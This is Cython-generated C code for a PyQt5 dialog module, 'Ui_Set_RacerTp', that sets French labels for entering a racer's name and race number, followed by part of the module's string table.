Set_RacerTp.setWindowTitle(_translate("Set_RacerTp", "Dialog")) * self.label_8.setText(_translate("Set_RacerTp", "Numro course")) # <<<<<<<<<<<<<< * self.label_6.setText(_translate("Set_RacerTp", "Prnom")) * self.label.setText(_translate("Set_RacerTp", "Nom")) */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_label_8); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 106, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_setText); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 106, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_Call(__pyx_v__translate, __pyx_tuple__70, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 106, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_5))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_5); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_5, function); } } if (!__pyx_t_3) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_5, __pyx_t_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 106, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_2}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_5, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 106, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_2}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_5, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 106, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif { __pyx_t_4 = PyTuple_New(1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 106, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_3); __pyx_t_3 = NULL; __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_4, 0+1, __pyx_t_2); __pyx_t_2 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_t_4, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 106, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } } __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_Set_RacerTp.py":107 * Set_RacerTp.setWindowTitle(_translate("Set_RacerTp", "Dialog")) * self.label_8.setText(_translate("Set_RacerTp", "Numro course")) * self.label_6.setText(_translate("Set_RacerTp", "Prnom")) # <<<<<<<<<<<<<< * self.label.setText(_translate("Set_RacerTp", "Nom")) * self.OkBtn.setText(_translate("Set_RacerTp", "Valider")) */ __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_label_6); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 107, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_setText); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 107, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = __Pyx_PyObject_Call(__pyx_v__translate, __pyx_tuple__71, NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 107, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_2 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_4))) { __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_2)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_2); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (!__pyx_t_2) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_5); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 107, __pyx_L1_error) __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_2, __pyx_t_5}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 107, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_2, __pyx_t_5}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 107, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else #endif { __pyx_t_3 = PyTuple_New(1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 107, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_t_2); __pyx_t_2 = NULL; __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_3, 0+1, __pyx_t_5); __pyx_t_5 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_3, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 107, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_Set_RacerTp.py":108 * self.label_8.setText(_translate("Set_RacerTp", "Numro course")) * self.label_6.setText(_translate("Set_RacerTp", "Prnom")) * self.label.setText(_translate("Set_RacerTp", "Nom")) # <<<<<<<<<<<<<< * self.OkBtn.setText(_translate("Set_RacerTp", "Valider")) * self.CancelBtn.setText(_translate("Set_RacerTp", "Annuler")) */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_label); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 108, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_setText); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 108, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_Call(__pyx_v__translate, __pyx_tuple__72, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 108, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_5 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_3))) { __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_5)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_5); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); } } if (!__pyx_t_5) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_4); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 108, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_5, __pyx_t_4}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 108, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_5, __pyx_t_4}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 108, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif { __pyx_t_2 = PyTuple_New(1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 108, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_t_5); __pyx_t_5 = NULL; __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_2, 0+1, __pyx_t_4); __pyx_t_4 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_t_2, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 108, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } } __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_Set_RacerTp.py":109 * self.label_6.setText(_translate("Set_RacerTp", "Prnom")) * self.label.setText(_translate("Set_RacerTp", "Nom")) * self.OkBtn.setText(_translate("Set_RacerTp", "Valider")) # <<<<<<<<<<<<<< * self.CancelBtn.setText(_translate("Set_RacerTp", "Annuler")) * */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_OkBtn); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 109, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setText); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 109, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_v__translate, __pyx_tuple__73, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 109, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_4 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_2))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } if (!__pyx_t_4) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 109, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_3}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 109, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_3}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 109, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif { __pyx_t_5 = PyTuple_New(1+1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 109, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_5, 0, __pyx_t_4); __pyx_t_4 = NULL; __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_5, 0+1, __pyx_t_3); __pyx_t_3 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_t_5, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 109, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_Set_RacerTp.py":110 * self.label.setText(_translate("Set_RacerTp", "Nom")) * self.OkBtn.setText(_translate("Set_RacerTp", "Valider")) * self.CancelBtn.setText(_translate("Set_RacerTp", "Annuler")) # <<<<<<<<<<<<<< * */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_CancelBtn); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 110, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_setText); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 110, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_Call(__pyx_v__translate, __pyx_tuple__74, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 110, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_5))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_5); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_5, function); } } if (!__pyx_t_3) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_5, __pyx_t_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 110, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_2}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_5, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 110, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_2}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_5, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 110, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif { __pyx_t_4 = PyTuple_New(1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 110, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_3); __pyx_t_3 = NULL; __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_4, 0+1, __pyx_t_2); __pyx_t_2 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_t_4, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 110, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } } __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_Set_RacerTp.py":103 * QtCore.QMetaObject.connectSlotsByName(Set_RacerTp) * * def retranslateUi(self, Set_RacerTp): # <<<<<<<<<<<<<< * _translate = QtCore.QCoreApplication.translate * Set_RacerTp.setWindowTitle(_translate("Set_RacerTp", "Dialog")) */ /* function exit code */ __pyx_r = Py_None; __Pyx_INCREF(Py_None); goto __pyx_L0; __pyx_L1_error:; __Pyx_XDECREF(__pyx_t_1); __Pyx_XDECREF(__pyx_t_2); __Pyx_XDECREF(__pyx_t_3); __Pyx_XDECREF(__pyx_t_4); __Pyx_XDECREF(__pyx_t_5); __Pyx_AddTraceback("Ui_Set_RacerTp.Ui_Set_RacerTp.retranslateUi", __pyx_clineno, __pyx_lineno, __pyx_filename); __pyx_r = NULL; __pyx_L0:; __Pyx_XDECREF(__pyx_v__translate); __Pyx_XGIVEREF(__pyx_r); __Pyx_RefNannyFinishContext(); return __pyx_r; } static PyMethodDef __pyx_methods[] = { {0, 0, 0, 0} }; #if PY_MAJOR_VERSION >= 3 static struct PyModuleDef __pyx_moduledef = { #if PY_VERSION_HEX < 0x03020000 { PyObject_HEAD_INIT(NULL) NULL, 0, NULL }, #else PyModuleDef_HEAD_INIT, #endif "Ui_Set_RacerTp", 0, /* m_doc */ -1, /* m_size */ __pyx_methods /* m_methods */, NULL, /* m_reload */ NULL, /* m_traverse */ NULL, /* m_clear */ NULL /* m_free */ }; #endif static __Pyx_StringTabEntry __pyx_string_tab[] = { {&__pyx_n_u_Annuler, __pyx_k_Annuler, sizeof(__pyx_k_Annuler), 0, 1, 0, 1}, {&__pyx_n_s_CancelBtn, __pyx_k_CancelBtn, sizeof(__pyx_k_CancelBtn), 0, 0, 1, 1}, {&__pyx_n_u_CancelBtn, __pyx_k_CancelBtn, sizeof(__pyx_k_CancelBtn), 0, 1, 0, 1}, {&__pyx_n_u_Dialog, __pyx_k_Dialog, sizeof(__pyx_k_Dialog), 0, 1, 0, 1}, {&__pyx_n_s_ImhDialableCharactersOnly, __pyx_k_ImhDialableCharactersOnly, sizeof(__pyx_k_ImhDialableCharactersOnly), 0, 0, 1, 1}, {&__pyx_n_s_ImhDigitsOnly, __pyx_k_ImhDigitsOnly, sizeof(__pyx_k_ImhDigitsOnly), 0, 0, 1, 1}, {&__pyx_n_s_NoContextMenu, __pyx_k_NoContextMenu, sizeof(__pyx_k_NoContextMenu), 0, 0, 1, 1}, {&__pyx_n_s_NoFocus, __pyx_k_NoFocus, sizeof(__pyx_k_NoFocus), 0, 0, 1, 1}, {&__pyx_n_u_Nom, __pyx_k_Nom, sizeof(__pyx_k_Nom), 0, 1, 0, 1}, {&__pyx_kp_u_Numro_course, __pyx_k_Numro_course, sizeof(__pyx_k_Numro_course), 0, 1, 0, 0}, {&__pyx_n_s_OkBtn, __pyx_k_OkBtn, sizeof(__pyx_k_OkBtn), 0, 0, 1, 1}, {&__pyx_n_u_OkBtn, __pyx_k_OkBtn, sizeof(__pyx_k_OkBtn), 0, 1, 0, 1}, {&__pyx_n_u_Prnom, __pyx_k_Prnom, sizeof(__pyx_k_Prnom), 0, 1, 0, 1}, {&__pyx_n_s_PyQt5, __pyx_k_PyQt5, sizeof(__pyx_k_PyQt5), 0, 0, 1, 1}, {&__pyx_n_s_QCoreApplication, __pyx_k_QCoreApplication, sizeof(__pyx_k_QCoreApplication), 0, 0, 1, 1}, {&__pyx_n_s_QFont, __pyx_k_QFont, sizeof(__pyx_k_QFont), 0, 0, 1, 1}, {&__pyx_n_s_QLabel, __pyx_k_QLabel, sizeof(__pyx_k_QLabel), 0, 0, 1, 1}, {&__pyx_n_s_QLineEdit, __pyx_k_QLineEdit, sizeof(__pyx_k_QLineEdit), 0, 0, 1, 1}, {&__pyx_n_s_QMetaObject, __pyx_k_QMetaObject, sizeof(__pyx_k_QMetaObject), 0, 0, 1, 1}, {&__pyx_n_s_QPushButton, __pyx_k_QPushButton, sizeof(__pyx_k_QPushButton), 0, 0, 1, 1}, {&__pyx_n_s_QRect, __pyx_k_QRect, sizeof(__pyx_k_QRect), 0, 0, 1, 1}, {&__pyx_n_s_QSize, __pyx_k_QSize, sizeof(__pyx_k_QSize), 0, 0, 1, 1}, {&__pyx_n_s_QVBoxLayout, __pyx_k_QVBoxLayout, sizeof(__pyx_k_QVBoxLayout), 0, 0, 1, 1}, {&__pyx_n_s_QWidget, __pyx_k_QWidget, sizeof(__pyx_k_QWidget), 0, 0, 1, 1}, {&__pyx_n_s_Qt, __pyx_k_Qt, sizeof(__pyx_k_Qt), 0, 0, 1, 1}, {&__pyx_n_s_QtCore, __pyx_k_QtCore, sizeof(__pyx_k_QtCore), 0, 0, 1, 1}, {&__pyx_n_s_QtGui, __pyx_k_QtGui, sizeof(__pyx_k_QtGui), 0, 0, 1, 1}, {&__pyx_n_s_QtWidgets, __pyx_k_QtWidgets, sizeof(__pyx_k_QtWidgets), 0, 0, 1, 1}, {&__pyx_n_s_R_firstname, __pyx_k_R_firstname, sizeof(__pyx_k_R_firstname), 0, 0, 1, 1}, {&__pyx_n_u_R_firstname, __pyx_k_R_firstname, sizeof(__pyx_k_R_firstname), 0, 1, 0, 1}, {&__pyx_n_s_R_lastname, __pyx_k_R_lastname, sizeof(__pyx_k_R_lastname), 0, 0, 1, 1}, {&__pyx_n_u_R_lastname, __pyx_k_R_lastname, sizeof(__pyx_k_R_lastname), 0, 1, 0, 1}, {&__pyx_n_s_R_number, __pyx_k_R_number, sizeof(__pyx_k_R_number), 0, 0, 1, 1}, {&__pyx_n_u_R_number, __pyx_k_R_number, sizeof(__pyx_k_R_number), 0, 1, 0, 1}, {&__pyx_n_s_Set_RacerTp, __pyx_k_Set_RacerTp, sizeof(__pyx_k_Set_RacerTp), 0, 0, 1, 1}, {&__pyx_n_u_Set_RacerTp, __pyx_k_Set_RacerTp, sizeof(__pyx_k_Set_RacerTp), 0, 1, 0, 1}, {&__pyx_n_s_Ui_Set_RacerTp, __pyx_k_Ui_Set_RacerTp, sizeof(__pyx_k_Ui_Set_RacerTp), 0, 0, 1, 1}, {&__pyx_n_s_Ui_Set_RacerTp_retranslateUi, __pyx_k_Ui_Set_RacerTp_retranslateUi, sizeof(__pyx_k_Ui_Set_RacerTp_retranslateUi), 0, 0, 1, 1}, {&__pyx_n_s_Ui_Set_RacerTp_setupUi, __pyx_k_Ui_Set_RacerTp_setupUi, sizeof(__pyx_k_Ui_Set_RacerTp_setupUi), 0, 0, 1, 1}, {&__pyx_n_u_Valider, __pyx_k_Valider, sizeof(__pyx_k_Valider), 0, 1, 0, 1}, {&__pyx_kp_u__3, __pyx_k__3, sizeof(__pyx_k__3), 0, 1, 0, 0}, {&__pyx_n_s_accept, __pyx_k_accept, sizeof(__pyx_k_accept), 0, 0, 1, 1}, {&__pyx_n_s_addWidget, __pyx_k_addWidget, sizeof(__pyx_k_addWidget), 0, 0, 1, 1}, {&__pyx_n_s_clicked, __pyx_k_clicked, sizeof(__pyx_k_clicked), 0, 0, 1, 1}, {&__pyx_n_s_connect, __pyx_k_connect, sizeof(__pyx_k_connect), 0, 0, 1, 1}, {&__pyx_n_s_connectSlotsByName, __pyx_k_connectSlotsByName, sizeof(__pyx_k_connectSlotsByName), 0, 0, 1, 1}, {&__pyx_n_s_doc, __pyx_k_doc, sizeof(__pyx_k_doc), 0, 0, 1, 1}, {&__pyx_n_s_font, __pyx_k_font, sizeof(__pyx_k_font), 0, 0, 1, 1}, {&__pyx_kp_s_home_thor_Devel_Transponder_Chr, __pyx_k_home_thor_Devel_Transponder_Chr, sizeof(__pyx_k_home_thor_Devel_Transponder_Chr), 0, 0, 1, 0}, {&__pyx_n_s_import, __pyx_k_import, sizeof(__pyx_k_import), 0, 0, 1, 1}, {&__pyx_n_s_label, __pyx_k_label, sizeof(__pyx_k_label), 0, 0, 1, 1}, {&__pyx_n_u_label, __pyx_k_label, sizeof(__pyx_k_label), 0, 1, 0, 1}, {&__pyx_n_s_label_6, __pyx_k_label_6, sizeof(__pyx_k_label_6), 0, 0, 1, 1}, {&__pyx_n_u_label_6, __pyx_k_label_6, sizeof(__pyx_k_label_6), 0, 1, 0, 1}, {&__pyx_n_s_label_8, __pyx_k_label_8, sizeof(__pyx_k_label_8), 0, 0, 1, 1}, {&__pyx_n_u_label_8, __pyx_k_label_8, sizeof(__pyx_k_label_8), 0, 1, 0, 1}, {&__pyx_n_s_main, __pyx_k_main, sizeof(__pyx_k_main), 0, 0, 1, 1}, {&__pyx_n_s_metaclass, __pyx_k_metaclass, sizeof(__pyx_k_metaclass), 0, 0, 1, 1}, {&__pyx_n_s_module, __pyx_k_module, sizeof(__pyx_k_module), 0, 0, 1, 1}, {&__pyx_n_s_object, __pyx_k_object, sizeof(__pyx_k_object), 0, 0, 1, 1}, {&__pyx_n_s_prepare, __pyx_k_prepare, sizeof(__pyx_k_prepare), 0, 0, 1, 1}, {&__pyx_n_s_qualname, __pyx_k_qualname, sizeof(__pyx_k_qualname), 0, 0, 1, 1}, {&__pyx_n_s_reject, __pyx_k_reject, sizeof(__pyx_k_reject), 0, 0, 1, 1}, {&__pyx_n_s_resize, __pyx_k_resize, sizeof(__pyx_k_resize), 0, 0, 1, 1}, {&__pyx_n_s_retranslateUi, __pyx_k_retranslateUi, sizeof(__pyx_k_retranslateUi), 0, 0, 1, 1}, {&__pyx_n_s_self, __pyx_k_self, sizeof(__pyx_k_self), 0, 0, 1, 1}, {&__pyx_n_s_setAcceptDrops, __pyx_k_setAcceptDrops, sizeof(__pyx_k_setAcceptDrops), 0, 0, 1, 1}, {&__pyx_n_s_setAccessibleDescription, __pyx_k_setAccessibleDescription, sizeof(__pyx_k_setAccessibleDescription), 0, 0, 1, 1}, {&__pyx_n_s_setAccessibleName, __pyx_k_setAccessibleName, sizeof(__pyx_k_setAccessibleName), 0, 0, 1, 1}, {&__pyx_n_s_setAutoDefault, __pyx_k_setAutoDefault, sizeof(__pyx_k_setAutoDefault), 0, 0, 1, 1}, {&__pyx_n_s_setContentsMargins, __pyx_k_setContentsMargins, sizeof(__pyx_k_setContentsMargins), 0, 0, 1, 1}, {&__pyx_n_s_setContextMenuPolicy, __pyx_k_setContextMenuPolicy, sizeof(__pyx_k_setContextMenuPolicy), 0, 0, 1, 1}, {&__pyx_n_s_setEnabled, __pyx_k_setEnabled, sizeof(__pyx_k_setEnabled), 0, 0, 1, 1}, {&__pyx_n_s_setFocusPolicy, __pyx_k_setFocusPolicy, sizeof(__pyx_k_setFocusPolicy), 0, 0, 1, 1}, {&__pyx_n_s_setFont, __pyx_k_setFont, sizeof(__pyx_k_setFont), 0, 0, 1, 1}, {&__pyx_n_s_setFrame, __pyx_k_setFrame, sizeof(__pyx_k_setFrame), 0, 0, 1, 1}, {&__pyx_n_s_setGeometry, __pyx_k_setGeometry, sizeof(__pyx_k_setGeometry), 0, 0, 1, 1}, {&__pyx_n_s_setInputMask, __pyx_k_setInputMask, sizeof(__pyx_k_setInputMask), 0, 0, 1, 1}, {&__pyx_n_s_setInputMethodHints, __pyx_k_setInputMethodHints, sizeof(__pyx_k_setInputMethodHints), 0, 0, 1, 1}, {&__pyx_n_s_setKerning, __pyx_k_setKerning, sizeof(__pyx_k_setKerning), 0, 0, 1, 1}, 